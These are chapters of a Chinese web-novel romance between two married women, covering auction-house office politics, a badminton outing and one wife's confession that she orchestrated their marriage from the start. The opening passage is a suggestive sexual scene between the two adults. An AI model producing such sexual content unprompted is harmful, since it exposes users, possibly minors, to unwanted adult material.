大荧幕上还在播放着电影的片尾。 字幕和浪漫的片尾曲中,姜司意看着身下环着她的人。 林棘抬着头,昏暗的环境中,那双眼眸中的专注和明亮惊心动魄。 不是不想,是一直忍着。 昨晚做得那么过火,今天再做,怕姜司意会不舒服。 而且,姜司意早上提出自己去上班,步行都要自己单独去,不让她送,是想在亲密行为后稍微保留一点个人的空间。 她明白的。 无论怎么决定,她都会按照姜司意的意思做。 虽然很想,忍得很难。 没想到,是她不解风情了。 林棘眷恋地抱着姜司意,双臂圈着她的腰肢。 “再看一部。” “嗯?还看吗?” 坐在腿上的姿势实在太暧昧,还有点不稳。 林棘腿太长,姜司意脚尖被迫往下延伸,堪堪点到地,还若即若离的。 “看。” 这么说着,林棘的目光却没从姜司意脸庞上移开。 单手环着她,另一只手不知道去抽了什么。 一阵淡淡的酒精味混入甜白和爆米花的香味中。 姜司意一下明白了。 刚才还在她后腰上揽着的手,此刻已经沿着脊背攀到后脑,完完全全支撑住了她的身体。 纤长的手指伸入发丝之中,轻轻摩挲间控住她的脑袋,往下引导,与林棘向上的吻相触。 吻合,深入,相缠。 鼻息很快乱了。 下一部电影自动播放。 光影变化着。 怀里人控制不住地发颤。 单薄的心口起伏越来越剧烈。 紧紧圈住林棘的脖子。 吻中带着含糊的声音。 轻轻的一点点,像是被欺负又反抗不能的小猫。 原本就已经够不着地的脚尖,悬空感晃晃悠悠的。 腿根都开始颤。 像落入林棘掌心的小雀,瑟瑟发抖。 电影某个环节,声响骤然停止。 滴滴答答的水声,她俩都听到了。 耳朵和脖子被自己的动静弄到红透。 只会求饶般含糊不清地说“慢些、慢些”。 林棘的眼神也迷了,应着“好”,占有欲却完全相反。 姜司意受不住地将脸埋进林棘的颈窝里,腰酸麻得几乎不存在。 下一刻,圈着的双臂猛然缩紧,颤得几乎要碎了。 点点好听的呜咽声流进林棘的耳朵里,换出一声迷乱的喟叹。 水痕淌过林棘手腕内侧的红色小痣。 朱砂红被衬得更为鲜艳,透出明丽的水色。 【作者有话说】 林棘:宠妻第二十九步,懂的都懂3.0[害羞] 64 第64章 ◎“小佑……”◎ 从侧坐,变成迎面坐着。 姜司意伏在林棘肩头,蒙着一层热汗的后背不断地起伏,打着抖的脚尖彻底悬空。 林棘亲亲她的耳朵,再次托起她,鼓励般在她耳边说“乖孩子”。 迷陷在林棘的蛊惑之中。 就算再受不了,她说什么,都会顺从地做了。 那只比艺术品还要优雅、金贵,一尘不染的漂亮女人手,在荧幕光影交错间,滚烫而濡湿。 沾满了姜司意的气息,尽是放纵的意味。 …… 腿都软了,自然是被林棘抱回卧室的。 还是保持着迎面抱着的姿势,没让她动半分,直接把她整个人托起来。 姜司意惊了一下,害怕摔下去,立刻贴得更紧。 林棘双掌扣在一起给她当椅子,双臂是保险带。 亲她的脖子,说: “我不会摔着你。” 好像真的不会。 从影院出来,踏上台阶,穿过庭院灯,姜司意一直被她稳稳地抱着。 幸好在家里,她有脸用这种婴儿的姿势,一直赖在林棘怀中。 回到主宅,姜司意趴到床上,腰好酸。 酒劲早就不知道被蒸发到什么地方去了,浑身脱力,又累又舒爽的感觉是怎么回事? 这一夜两人都睡得很早,很沉,一夜无梦。 第二天依旧是被手机闹钟叫醒。 看身边人,也是刚刚醒。 虽说腰还有点酸酸的感觉,可是换来林棘轻轻松松睡满七小时。 扶着腰起床洗漱的姜司意心想,也值了吧。 雪球走来蹭蹭她的脚踝,小小的嘴打了个大大的呵欠,趴在她身边。 昨天在影院里做的事实在有点荒唐。 从来没想过,自己的身体能反应成那样。 更没想过,林棘的鼓励除了给予她从容演讲的勇气,还能给她连续两晚都做三次的信心。 姜司意越刷牙脸越热。 第一次坐在林棘的腿上,居然是在做那种事。 还,将她裙子沾成这样…… 羞燥地闭上眼,在心里喊了声“救命”。 糟糕又狼狈,林棘也完全没有嫌弃她。 好像无论自己做了什么,有多不堪,林棘都会全然接受她。 还抱她回卧室,连路都不用走的。 ——你在我这里,可以做任何你想做的事。永远不用道歉。 想起林棘曾经对她说的这句话。 有多少人只会说漂亮话,说完之后尽是敷衍和虚伪。 林棘是真的说到做到的。 轻叹。 这么好的人,怎么就让我遇到了呢? 怎么还喜欢我…… 之前晨间的惯例,是送姜司意到车库,看着她进电梯间。 这已经很体贴了。 现在光是送到车库已经不能满足,林棘还要下车,送妻子到电梯口。 恐怕旁人很难想象,这看上去疏离清冷的女人,正着闷不吭声地粘人。 粘人也不开口,只站在距离姜司意最近的地方。 周围是等待早高峰电梯的长队。 困倦、烦躁、被生活磨透的怠惰感萦绕填满了空间,显得目光沉敛的林棘难得的纯净明艳。 两人的手不小心挨上。 姜司意心想着,要不要牵一下。 就算电梯马上要来了,她也想碰碰林棘,一下下就好。 还在思索时,林棘率先用小指勾住了她的。 手指内侧轻轻磨蹭着,若有似无。 热热的痒意从手指上传来。 姜司意眼睛圆了圆,嘴唇不自然地抿了一下,侧目看向身边人。 还不够。 林棘收到她的目光,纤长的手指一一从她的指背上抚过。 掠过起伏的指骨,叠于她的手背,随后往她的指缝里扣。 扣得她微屈的指尖泛红。 指缝相抵,抵到严丝合缝,没有一点间隙。 指腹在她的掌心里磨着。 磨得姜司意艰难地克制住呼吸的紊乱。 电梯来了。 “我走了。” 意思是,该放开了。 “嗯。” 嘴上说着“嗯”的人,根本没放手。 姜司意走也不是留也不是。 有点无措地在林棘耳边讨饶。 “小佑……” 姜司意叫她的小名,轻轻软软的,这么好听。 直到电梯门彻底打开,紧扣着她的人才依依不舍地松开。 “以后可以经常这么叫我吗?” 姜司意微不可见点点头。 林棘愉悦地在姜司意指骨上戳了好几下。 直到电梯的门合拢,再也看不到姜司意,林棘才意犹未尽地转身离开。 …… 好艰难的工作日。 又一次需要努力集中注意力。 此刻的姜司意才发现,自己的精力和体力都有些不济。 昨晚在影院喝的三杯酒其实不算多的。 问题是后来的那三回。 腰还是酸酸的,腿根也有点没力气,虚幻的存在感比昨天更清晰。 光是格斗课好像都不太行。 我是不是该再增加运动,提升体力? 上午开完会回来,看还有点时间,集中精力争取把新入库的拍品评估报告整理、打印出来。 余光里感觉门口站一个人。 Oliver不知道站那儿多久了,要不是脑袋一直在余光里晃,集中注意力工作的姜司意都未必能发现他。 见姜司意终于看过来了,Oliver脸上堆满了笑容,对她招招手。 “司意,我有点事想和你聊聊,工作应该做完了吧?走,我请你吃饭去。” 说起来,在去伦敦之前Oliver就在微信上找过她,她直接忽略了。 这会儿锲而不舍,直接线下找来了。 姜司意坐在工位上完全没动。 “有什么事?” Oliver见姜司意没有要和自己私下聊的意思,自己说一堆,她就冷冷淡淡地回四个字。 假笑险些挂不住,可Oliver没有办法继续甩脸子,毕竟现在是他有求于人。 从隔壁搬了把椅子,坐到姜司意身侧。 也不翘二郎腿了,双手放在膝盖上,像个等待颁发奖状的小学生。 “我把万欣辞退了。” 说这句话的时候,笑脸上一双瞩目的浓眉上下跳动着,似在邀功。 就等着姜司意反应,盼她好奇来问。 姜司意丝毫没有被取悦,甚至目光还停留在电脑屏幕上。 没看向他,更没有要接话的意思。 笑容就这样凝固在嘴角。 Oliver讨了个大没趣。 是丢人,可如今的形势,他不得不觍着老脸过来主动丢人。 他怎么会想到不到半年,姜司意的处境就翻天覆地? 当他得知姜司意的老婆居然是林棘的第一时间,就意识到自己的饭碗要不保了。 即便姜司意还没对他做什么,他也上火胃痛了好几天。 工作是没心思做的,顾总一找他,人事总监一看他,他就觉得自己下一秒就要被开除。 不能继续被动下去。 当初没让姜司意进书画部,又在春拍上针对她,姜司意不可能不记仇。 现在的姜司意是嘉仕比冉冉升起的新台柱;是环球CEO燕总在会上当做正面典型让大家多多学习的对象;是今年嘉仕比全球新锐拍卖师热门人选;是随便一个拍卖视频就能过十万播放的红人;更是把幻维董事长迷得寸步不离的新婚妻子。 随便一个身份,都让Oliver心有戚戚。 以小人之心度君子之腹了好几天,制定好了计划。 与其等着姜司意报复他,不如自己先行动,主动表忠心。 冤有头债有主,都是万欣在和她争抢,帮她弄走了罪魁祸首,怎么也算是将功抵过了吧? Oliver:“我早就看出来万欣这人功利心太重,不利于同事间的团结。我已经让她走了。老佟退休,现在我们书画部正缺人手。下周吧,下周就让你到书画部来。你知道的,要不是当初万欣非要争,你早就是书画部的顶梁柱了。你本来就是中国艺术史的高材生,天生就该吃我们书画部这碗饭的。” Oliver知道姜司意想要的是什么,当年刚进公司时,她的目标就是书画部。 其实各方面的条件都匹配,能力在那一拨里面又是最强的。 最后就卡在经理Oliver这儿,以人满为由没让她进。 她现在肯定还是想去书画部的,佣金那么高的部门谁不眼红? 当然,主动示好除了想剪除后患,也是眼馋姜司意的资源。 那个破金石玉器部都能被她弄得风生水起,上个月业绩超过了书画部,可不全靠姜司意一个人撑起来的么—— 虽然也是因为最近他在焦虑,工作没上心,导致业绩下滑了不少吧。 听说顾总和黄清徵搭上了线,正在筹划她新作的专题拍卖。 有人说黄清徵也是看中了姜司意才和嘉仕比合作的。 一开始Oliver不信,现在由不得他不信。 姜司意要是能到书画部,黄清徵的画不也能过来么? 那可是随便一拍都上亿的蓝筹标杆。 他之前争取半天黄清徵助理都没搭理他。 要是能把姜司意挖过来,秋拍不得再把金石玉器部打趴下? 油画部都有可能被他踩一脚。 人往高处走,Oliver话都说到这地步,姜司意没有拒绝的理由。 没想到的是,这年轻的女人当真没有半点心动的意思。 语气依旧波澜不惊。 “这件事得听上司的安排。” Oliver一时哑然。 姜司意点了打印,起身去打印机那头拿评估报告。 Oliver本想跟过去再游说游说,吴经理从办公室出来了,警惕地看着他。 Oliver只好假装没事,哼着歌走了。 段凝握着茶杯走到姜司意身边,悄悄注视着Oliver的背影。 等到他彻底离开,段凝才开口: “万欣根本不是他辞退的,人家自己辞职的。” “自己辞职?” “嗯,上回她不是没来开会?我火速去打听了一下,万欣自己提交的辞呈,当时吴经理和上面都已经批了。人家早就不想干了,志不在此,转行当化妆师去了。” 很明显是火速向谁打听了。 姜司意笑道:“吴经理这事都跟你说?” 段凝:“已经处成闺蜜了,她不说我骑她身上严刑逼供。” 姜司意:…… 别说了,脑子里已经有一些糟糕的画面了。 帮姜司意一起把评估报告拿回来,段凝站在她工位边上边整理边说: “那个Oliver还说万欣是他辞退的,他一个书画部的有什么权力辞退我们部门的人啊,不要脸,说谎不打草稿。” 段凝其实心有点慌。 说这些话的时候,满脑子都是刚才Oliver要挖姜司意去书画部的事。 她多少有些怕姜司意真的走。 离开她,金石玉器部未来会怎么样也不知道。 她当然希望姜司意走向职业高峰,希望好朋友无论事业还是生活都越来越好,司意值得。 只是,整个部门一直都齐心协力策划着重要的秋拍,如果她在这时候离开,秋拍的计划都会被打乱…… 哎哎哎,先别去想了,段凝努力放空自己。 司意会有自己的决定的,她不好多嘴。 下午,吴经理还真来找姜司意了。 说顾总提过,书画部那头有空缺,姜司意专业本来就对口,能力也足以匹配。 看她自己的意思,如果想去书画部,下个月就能调部门。 吴经理神色平静,难得像个领导。 其实她是在控制自己的表情,别露出不舍,给姜司意造成压力。 看姜司意一时没说话,吴经理露出熟悉的笑容道: “这还有什么好犹豫,去啊,小姜,去书画部,会有更好的空间施展你的才能。要是我,犹豫半秒都是对前途的不尊重!” 姜司意:“我想考虑一下。” 吴经理:“嗯,多给自己一点思考的时间也好。小姜,共事了这么久,不作为领导,以朋友的角度说一句,你值得更大的舞台。” 天气逐渐凉爽。 初秋的J城,从夏季白蓝色调,逐渐往高饱和度的金色靠拢。 姜司意慢悠悠地散步回家,从后院走进来,透过厨房的窗户,看见林棘正着厨房备菜。 锅里已经煲上汤了。 铛铛铛的切菜声非常丝滑解压。 等到她切完一轮,姜司意才靠近。 林棘正要回头,姜司意轻轻靠到她的后背。 两人都没说话,就这样安静地感受彼此心跳。 原来,个子高高,能抱得动她的林棘,身体也是薄薄的一片。 心跳也会因为她的靠近,变得好快。 半晌,姜司意才自己站直了回去。 “有心事?”林棘放下菜刀,回头问她。 姜司意将调部门的事情跟林棘说了。 她想听听林棘的意见,感觉林棘能给她最正确的答案。 林棘单手撑在台面上,“你是不喜欢和Oliver共事,还是放不下金石玉器部?” 姜司意:“都有吧。” “如果是前者,不用担心。他既然会主动来说让你去书画部,说明他分得清利弊也知好歹,捧你都来不及,不会再为难你。如果是后者,就更不用担心了。吴经理鼓励你往上走,说明她是真心向着你,不会因为你离开就心生怨怼。如果我是你,我会选择在秋拍之后再调离。和同事们共同努力了这么久的策划不会白费,秋拍的佣金也能为部门赚足,大家都会记得你的好。” 林棘所说,和姜司意想的大差不差。 得到了林棘的认可,让她更有信心了。 “还有点不舍得……” “对金石玉器部的不舍?” 姜司意点点头,“嗯,舍不得段凝,从学生时期到现在,她无条件帮了我很多忙。还有吴经理,当初Oliver拒绝我进入书画部,是吴经理拉我到了金石玉器部,一直都很信任我,给了很多机会栽培我。” 林棘微微偏着头凝视着妻子,“那你就更要往上走。走到更高处,才有更大的能量回报她们。” 林棘的话让她心里豁然开朗。 是啊……林棘说的都好对。 在原地踏步,报答的能力很有限。 要往上走,要拥有更多的话语权。 姜司意心里好受了不少,知道自己该怎么做,没有什么顾虑了。 偷偷看向林棘。 林棘一定经历了很多事,解决了很多难题,才会三言两语就安抚了她焦虑。 可靠的年长姐姐感,一瞬间具体到让她心头发热。 思绪还在发散,林棘已经扶住了她的后脑,吻突然覆上,轻启,揉进她的唇中。 突如其来,吻得姜司意后退了半步,之后又慢慢前进回来,微微踮起脚。 那甜甜的吻,搅得姜司意心上紧紧的,心动不已。 酥酥麻麻的感觉从脊背往心尖上涌。 想试着回吻的时候,煲的汤一下子扑出来。 林棘怔了怔,只好结束这个吻,回身关火。 穿着长裙的姜司意双手背在身后,无措地在原地走了几步,才去餐桌边擦桌子。 【作者有话说】 林棘:宠妻第三十步,认真帮老婆解决每一件事[猫头] 65 第65章 ◎我的确对你早有所图。◎ 晨间,嘉仕比。 “哟。” 段凝推开吴经理办公室的门。 吴经理视线从电脑屏幕上转到段凝身上,眨了眨干涩的眼睛。 “来这么早?” “你昨晚没走啊?” “嗯,忙到太晚,就睡这儿了。反正回家也是自己待着,到哪儿都一个人,不如省油钱了。” “你就这状态,上哪儿谈恋爱啊。” 段凝在她桌上放下一个外卖口袋。 “食堂刚出的牛肉卷,都抢疯了,我人好,给你和司意一人薅了一个。” “请我啊?活菩萨。我先刷牙去。” “噫。” 吴经理去经理休息室里配套的卫生间刷牙。 段凝坐在小沙发上,看到她打印出来的一堆策划,说: “给秋拍制定备选计划?” 吴经理一边刷牙一边含糊不清道: “是啊,有备无患嘛。” 段凝知道她在准备什么。 司意有可能会调部门,一旦她走了,都不说秋拍的拍品会不会有所变动,各拍卖场次的主拍人选都够她头疼的。 现在金石玉器部能撑得起大体量夜场大拍的资深拍卖师,实在太少太少。 司意这顶梁柱一走,伤筋动骨。 偏偏今年还是金石玉器部最有可能崭露头角的一年。 段凝心情和吴经理一样,凌乱又忐忑。 一起忙活备选计划直到中午才从办公室里出来。 姜司意看到她俩,说:“原来你们一直在办公室。吃饭去么。” 段凝和吴经理同时说:“好呀,走呀!” 说完之后,两人对视一眼,互相嫌弃对方表现异常,泄露心情。 姜司意看她俩都有点僵硬,猜到她们的担忧。 “吴经理,目前秋拍相关拍卖标资料我整理好了,同步给你了。收藏家的所有权证明还差几份,不着急的话就再等等,着急我就去催。” 吴经理听出她话里的意思,“你还在忙秋拍的事吗?” 姜司意:“当然了,秋拍准备了这么长时间,作为吴经理提拔上来的部门中坚力量,我当然要负责到底。” 段凝心直口快,直接问:“什么意思?你会留到秋拍之后,十一月后才调部门?” 姜司意温柔笑着,点头。 吴经理和段凝同时兴奋地张开嘴,碍于在办公室里,又立刻闭上,喜悦之情从嘴漫上双眼。 “那,你可能会损失不少佣金。” 吴经理开心归开心,还是得提醒她一句。 今年金石玉器部再强势,拍品价值的鸿沟在那儿摆着,肯定还是无法和书画部相提并论的。 姜司意说:“我想有始有终。” 段凝一把把姜司意搂进怀里,要不是她已经结婚,真想现场亲晕她。 “司意,你怎么这么好呢!你知道昨晚吴经理为了……” “咳,段凝,别废话。” 吴经理那双瑞凤眼严肃起来还是有点领导的压迫感。 “走,赶紧吃饭去,一会儿该没位置了。小姜想吃什么,我请客。” 说完之后,又是明显的喜上眉梢。 三人一起等电梯的时候,段凝想起一件事。 “我记得黄清徵的画谈下来了吧,今年秋拍的蓝筹标杆,估价两个亿起。人家黄大师是司意的客户,如果司意在秋拍前去了书画部,那可以由她来主拍,佣金是司意的。可如果秋拍之后才去,岂不是便宜了Oliver。不是个小数啊!” 三人火速在心里算了一下。 如果真拍出两亿的价格,嘉仕比会向买家收取落槌价的10%为佣金,再和拍卖师分。姜司意这个级别的拍卖师,佣金为总佣金的20%。 也就是说,单单一幅画税前的佣金就是…… 400万! 段凝痛心疾首,“凭什么啊,那可是400万!不能便宜了Oliver!” 就算现在司意不差钱,该她的也不能给别人。 段凝的话让她们三个人都陷入了沉思,的确是个问题。 吴经理双臂抱在身前,思索了一阵,慢慢有了笑容。 “我有个办法,只要顾总点头,该小姜的佣金一分都不会少。” 她们三人正小声商议着,从走廊另一头走过来一位戴着眼镜,黑色长直发的高个年轻女人。 “嗨,薄老师。” 身为社牛,段凝很自然地向对方打招呼。 被称为“薄老师”的女人,就是嘉仕比油画部的台柱子,五年前获得嘉仕比全球新锐拍卖师头衔的超级新人,蝉联J城嘉仕比业绩第一的传奇,薄听。 薄听完全忽略段凝的招呼,一双冷眼从姜司意的面庞上一扫而过,随后吝啬地收回视线,半个字不说直接离开。 段凝:…… 等到薄听走远,段凝给自己缓解尴尬说:“哈哈可能耳朵不好使,没听到。”。 进入秋季之后,一天比一天凉爽。 终于迎来姜司意最喜欢的季节。 介于姜司意最近老是腰酸,腿也软软的,还容易生病发烧,林棘打算带她去打打羽毛球,锻炼身体。 挥拍运动好处多多,不仅是持续的有氧,还能锻炼手脑配合。 姜司意早就发现健身房里有羽毛球拍和网球拍。 也很想和林棘一起运动。 只是…… 姜司意:“我不太会打哎。” 林棘:“我也不太会,随便打打,主要是为了*锻炼锻炼。” 林棘包下ECHO会所的羽毛球馆,让姜司意能不受打扰尽情运动。 两人换上同品牌同色系的运动服到了馆内。 林棘在扎头发的时候,放在敞开运动包里的手机响了。 看一眼,是严逾。 林棘:“司意,帮我接一下。” 姜司意有点犹豫。 “会不会是什么重要的事?” 我接听不太好吧? 接林棘的电话,感觉好亲密。 刚当她老婆不久,还有点不习惯。 看姜司意还没太习惯渗透到她生活的方方面面,林棘说: “没关系,我的事你都能知道。而且严逾没正事。” 姜司意刚接通,还没来得及开口,对面一阵气势汹汹的女声率先传来。 【佑姐,在哪儿呢!多久没见到你人了,结了婚之后是不是就只记得疼你的宝贝老婆,闭门过二人世界?】 姜司意:…… 艰难开口:【严小姐,你好。我是……】 林棘的宝贝老婆。 【我是,姜司意。】 对面顿了顿,立刻变化了声线,可可爱爱道: 【哎呀,是小姜妹妹啊!你们外面吗?】 听到了一些户外嘈杂的声音。 姜司意说:【嗯,我们在ECHO会所这儿,打羽毛球。】 严逾回头对躺在她家沙发上的岑麓说:“ECHO那头打羽毛球呢。” 居无定所的漂泊人士岑麓坐起来,“问问,有咱们一起打球的份么?” 严逾问了,林棘能说什么,都抨击她只顾着疼老婆了。 【来呗。】 挂了电话,岑麓立刻准备出门打球。 “夏天成天在家吹空调,人都要锈了。活动活动去。” 严逾:“纯粹找虐。还记得上次和佑姐打球,我屁股差点摔裂么?她一个人能虐我们三个。” 岑麓:“今天她老婆在,说不定能当个人。” 两人杀到ECHO时,看到比分。 大比分1-0。 正常,佑姐水平可以打职业了。 再一看,什么,拿下一局的是姜司意? 林棘软绵绵地回了一个球,回到姜司意正手最最舒服的位置。 姜司意杀球,林棘反应慢了一拍,没接到。 姜司意惊喜,“啊!” 林棘摇摇头,“杀得好,厉害。” 姜司意心想,好久好久没有打羽毛球了,没想到还有点手感。 一人能虐三个人的林棘,在老婆面前接不到球也杀不了球,满场跑给老婆喂球,还喂得恰如其分,哄老婆哄得不着痕迹。 球场边的岑麓和严逾同时耷拉下眼睑。 “咦惹——” 林棘都没看向她们,用球拍捞起球后,球拍的顶端往她俩的方向一指,“咦惹”的两个人就闭嘴了。 严逾:“这个人凶死了,怎么会有老婆的。小姜妹妹——” 姜司意脾气好,跟姜司意玩。 姜司意用手背沾了沾下巴的细汗,笑着对她招招手。 林棘:“叫谁小姜妹妹呢?” 我都还没叫过。 真没冤枉她,这个人的确就是个凶神。 不过严逾最大的优点就是能屈能伸,立刻改口:“嫂嫂!” 林棘:…… 姜司意刚走到场边想喝口电解质饮料,幸好没真的入口,不然这一声当面的“嫂嫂”,得让她咳个三分钟的。 严逾一口一个“嫂嫂”,还跟“嫂嫂”告状,说林棘结婚之后回姐妹们的微信可慢了,叫她十次十次都不出来。这样下去她要失去美丽大方聪明纯洁的闺蜜了。 林棘:“我有这样的闺蜜吗?” 严逾:“你就仗着我打不过你!嫂嫂你看她呀!” 姜司意被严逾挽着胳膊,拉着晃荡,疯狂撒娇,整个人要被摇成商场门前的充气人偶。 作为全场唯一一个想要认真打球的人,岑麓一边斜眼看她们斗嘴,一边做完了热身运动。 岑麓:“2对2?” 林棘:“我和司意一组,你俩一组。” 姜司意有点担心,看岑麓紧致的身形,从头到脚专业的装备,又是曾经的排球队长跳高冠军,打羽毛球应该也是大杀四方的高手。 姜司意捏着林棘的衣摆,“咱们都不太会打,能行么?” “放心吧。”林棘说,“她们也不会。” 岑麓和严逾:? 林棘对她俩微笑道:“对吗?” 朗朗乾坤,忽然阴风阵阵。 严逾:“对……吧?” 岑麓:…… ECHO会所羽毛球馆的教练听说那三位大美女又来了。 那三位大美女的水平,是她在J城当教练之后见过最厉害的。 都能媲美职业选手了。 上次她们过来打球,教练就在一旁看得有滋有味。 有段时间没见着人了,不能错过。 兴冲冲地跑到球场一看。 笑容凝固在脸上的教练:? 羽毛球轻飘飘地飞起,在空中划出慢悠悠的曲线,再缓缓落下。 没有暴力杀球轻巧搓球,两边人像动作缓慢的初学者。 硝烟是没有的,完全的其乐融融。 岑麓打半天,刚刚热身好的身子彻底凉了。 搁这儿打儿童局来了。 不过,看小佑和姜小姐一起赢了个球,开心击掌的样子,也……挺好。 和严逾相视,无语又欣慰地笑笑,继续低质量发球。 …… 事实证明,全程要恰如其分地放水,也不是件容易事。 得注意力高度集中,跟刷完一摞物理试卷没两样。 打完球后舒舒服服洗了个澡,再一起吃饭去。 作为ECHO的资深会员,林棘她们都有私人衣物、个人用品存在这儿,方便来运动之后直接更换。 洗完澡后穿上浴袍,运动服拿给管家清洗了,走的时候再换回来。 姜司意没有存在此处的浴袍,就穿林棘的。 车厘子色的系带长袍,大了一点点,倒是有一份穿老婆衣服的亲密和可爱。 四人坐在园景包厢里吃饭,入眼一片青黄相接,运动完吃什么都香。 严逾听说老同学姜司聆回来了,怼了怼岑麓的胳膊说: “那不得叫咱们姐姐一起出来聚聚啊,好多年没见面了。” 叫完“嫂嫂”,“咱们姐姐”也叫上了。 岑麓对姜司聆已经没什么太多印象,就记得她成天坐在角落里埋头画画。 “行啊,下周都是好天气,去徒步怎么样,司意?” 她可没法像严逾那样,叫年纪比自己小好几岁的女孩为“嫂嫂”。 姜司意道:“我没问题的,我去问问我姐。” 姜司聆最近逛各大博物馆和展览,逛得不亦乐乎,说要寻找新作的灵感。 昨天上班的时候还收到她发来的照片。 林棘戴着手套,专心地给姜司意剥螃蟹。 岑麓随意聊聊,问她们怎么领了证还没办婚礼。 这事儿严逾熟,严逾自动帮寡言的林棘发言。 “办啊,十月份办,档期都留好了。” 岑麓:“在你云顶办?” “嗯呐。” “哪年你们云顶十月份不是挤爆了。现在筹备来得及?” 说到这儿,严逾笑道:“有我在呢,你担心这个。而且十月份的婚礼,人家佑姐二月份就预定了……” 严逾习惯了在老友面前口无遮拦,这会儿说一半忽然意识到了什么。 与此同时,果然发现姜司意投过来诧异的眼神。 严逾:…… 我好像多嘴了。 姜司意夹菜的动作都变缓了。 二月份就预定了? 那时候,林棘不是刚刚回国没多久么? 当时她和林棘最大的交集,好像只有春拍。 真正领证都是七月六日了。 怎么会提前近半年的时间就把婚礼预定了? 林棘感受到姜司意不解的眼波,不动声色地把蟹黄全部剥到小碗中,拿至姜司意面前,淡笑。 虽然没被注视,却也如坐针毡的严逾:。 向岑麓发出求救的眼神。 我能带着脑袋离开ECHO吗? 岑麓看她一副立地痛经的样子,就知道她又说错话了。 友情给她夹了一大坨菜。 多吃,少说,命长。 …… 回到家时天色已晚,姜司意带着雪球在社区里遛遛。 雪球走着走着,又捣到主人前面去了。 好奇地回头。 今天好像走得更养生了。 慢悠悠地带雪球遛完回家,给它擦完脚,发现林棘还在书房里开会。 抱着雪球坐到沙发上,难得看点没营养的电视剧。 直到夜里十一点,林棘还没出来。 可能是伦敦那边的事,这个点钟还在忙。 嗡嗡嗡—— 站在洗漱台前刷牙。 从会所回来的路上,林棘就在开会,一直开到现在。 洗漱完了,一回头,发现林棘从书房出来了。 一晚上她都在等林棘,就想问那件事。 现在人往她的方向走过来了,又不知该怎么开口。 四目相对,欲言又止。 林棘上前一步,姜司意下意识后退半步,后腰抵在了洗漱台边。 最近很熟悉的那只手,抚着她的脸庞,拇指从嘴角蹭过,将一点点残留的牙膏沫抹去。 热度残留在唇边,姜司意眼睫微闪,正要道谢。 林棘眸色轻转,凝住她的眼。 直截了当地解答了她尚未说出的疑问。 “我的确对你早有所图。” 【作者有话说】 林棘:宠妻第三十一步,乖乖回答老婆所有问题[猫头] 66 第66章 ◎承不住露水的叶◎ “我的确对你早有所图。” 还以为林棘会有所掩饰。 没想到,回答得比姜司意想象的还直接。 “所以,真的在二月份订好婚礼的场地?” “是。” “那,那时候,你就知道宋缇……” “对。在我知道她出轨的最初,就开始计划回国。” “计划回国?你回国是……” “为了你。” 这次,姜司意都没有透支下辈子自恋的机会。 林棘直接让她自恋到底。 太过直接的回答,打开了另一个世界的大门。 一个林棘视角,超出姜司意想象太多太多的世界。 “所以那天约我去咖啡厅,让我撞见她和,和那个女人的事,也是你的计划。” “是计划也是巧合。” 姜司意回忆着,“对,当时是我主动联系你私洽的。如果,那时候我没联系你呢?” “我会找一个天衣无缝,让你不会怀疑的借口主动联系你。” 姜司意:…… “还有一杯不知道是谁点的咖啡,送到我手里。” “也是我提前半小时就点好的,后来追出来向你提出联姻,也是在点咖啡前就决定了的。” 姜司意:。 居然全部承认,没有一点隐瞒。 “为什么要约我去看呢……” “因为,眼见为实。” 眼见为实。 这四个字,有点耳熟。 在遥远的记忆里,好像谁曾经也这么说过。 念头一闪而过,心里和脑子里都满当当的。 什么都在往思绪里挤,都要她去想,又什么都想不起来。 林棘居然做了这么多事。 谋划了这么多,铺垫了这么多。 却在提出联姻后真的没有催促她,耐心等待着她的决定。 甚至还白白被误会了好长一段时日。 知道自己被冤枉后,也只是揶揄了几句…… 每一步都考虑了她的心情,引导着她,呵护着她,将她放在第一位。 姜司意千思万绪,陷入短暂的沉默。 而她对面的这个女人,看上去好像知无不言,对答如流,通通认下,从容不迫。 其实撑在姜司意身子两侧的胳膊暗暗施力,重重压在洗漱台上。 生怕眼前人听完之后会一怒之下生气走了。 圈上,拦着。 只要人还在这儿,就算再生气也能继续解释,耐心哄好。 还准备好了最能让姜司意心软的语气和表情。 以备不时之需。 只要姜司意真的骂她,她就垂下眼角,软下声音,可可怜怜。 姜司意眨眨眼,继续好奇。 “之后的一日女友呢?” “那的确是你走神的时候答应我的。” 姜司意怔住。 看到她表情微变,林棘有点后悔自己实话实说。 分什么你我,她做的事就等于我做的,一并认下来又没差。 圈拦的动作往里收。 正要改口,发现姜司意无奈地垂眸笑。 浓密纤长的睫毛因为笑而轻轻闪动着。 脾气好好。 姜司意抿了抿唇,有点无语,怎么还自己去提尴尬事。 “那天我的确不知道在想什么。” 被三言两语引导着自己乖乖认下了,反倒把林棘衬托得格外狡猾。 林棘不禁自我检讨,为姜司意说话。 “那也是我之前故意靠近,分散了你的注意力,你才答应的。” 姜司意声音慢慢的。 “……这样么?” 低头看着自己和林棘挨得好近的脚尖。 忽然想起,在她们互相表白的那夜,林棘说—— 我爱你,比你喜欢我还早。 早得多。 酸胀感带出一波波的涟漪,在姜司意心上荡开。 痒痒的,慢慢积累成了甜。 “你说,比我喜欢你还早的时候就,爱上我了。那,是什么时候啊?” 说“爱”这个字,有点重。 姜司意问得犹犹豫豫,不是很敢信。 今天林棘的坦白,才让她有了开口问的勇气。 从小到大,姜司意的人生好像没有什么心想事成的时候。 想要什么,都得埋头去争,用所有努力去换取。 偶尔能得到,但大多数时候都是空手而归。 生活、工作,情感。 有人捷足先登,有人横刀夺爱,有人无所不用其极。 不想内耗,却还要安慰自己,没关系的,等到我变成更好的我时,就能再次拥有了。 她早就知道,这世界上越好的东西就越昂贵。 想拥有就必须付出金钱、精力,甚至是尊严。 这些离开妈妈呵护之后渐渐自行领悟的道理,怎么在林棘这里就不一样了? 她都没有努力争取,也没有头破血流,怎么就得到了林棘这么浓烈的爱? 林棘侧过眸,去看她微垂的脸庞。 眼前的女孩只要提到被喜欢,被爱,就有些自卑。 手指屈起,垫在她的下巴之下,托起她的脸。 让她高高扬起头。 被林棘抬起的这张清秀纯净的脸庞,带有一丝期待而生的羞怯。 那双眼是极明亮的,渴望着,仿佛会把这一刻铭记在生命里。 什么时候。 若要真的追溯,恐怕在还不懂得什么是“爱”的时候,那份来自于本能的吸引就已经有了最初的轮廓。 在动荡的人生中,在失去、归来,又失去的关系里,慢慢成型,逐渐加深,形成浓墨重彩的爱。 心口文身之下的旧伤,隐隐作痛。 催起林棘沉重的呼吸。 可能也不是旧伤,只是心跳。 一波快过一波的心跳。 想告诉她,当她还是自己未婚妻的时候,可能这份爱就已经是颗待发芽的种子了。 